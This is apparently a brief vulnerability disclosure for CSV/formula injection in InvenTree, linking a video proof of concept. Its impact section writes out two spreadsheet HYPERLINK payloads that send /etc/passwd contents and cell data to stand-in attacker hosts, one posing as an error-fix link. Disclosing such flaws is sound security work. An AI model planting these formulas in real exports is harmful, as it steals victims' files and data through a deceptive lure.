Description

Formula Injection/CSV Injection in inventree due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

Video PoC link: https://drive.google.com/file/d/1mf_BTUDS1iZ4uJfBpc56_8WgpdZdN5_f/view?usp=sharing

Impact

Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data. On constructing the payloads as

=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc/passwd'#$passwd.A1));
=HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Click me to resolve.")

An attacker can have access to /etc/passwd system file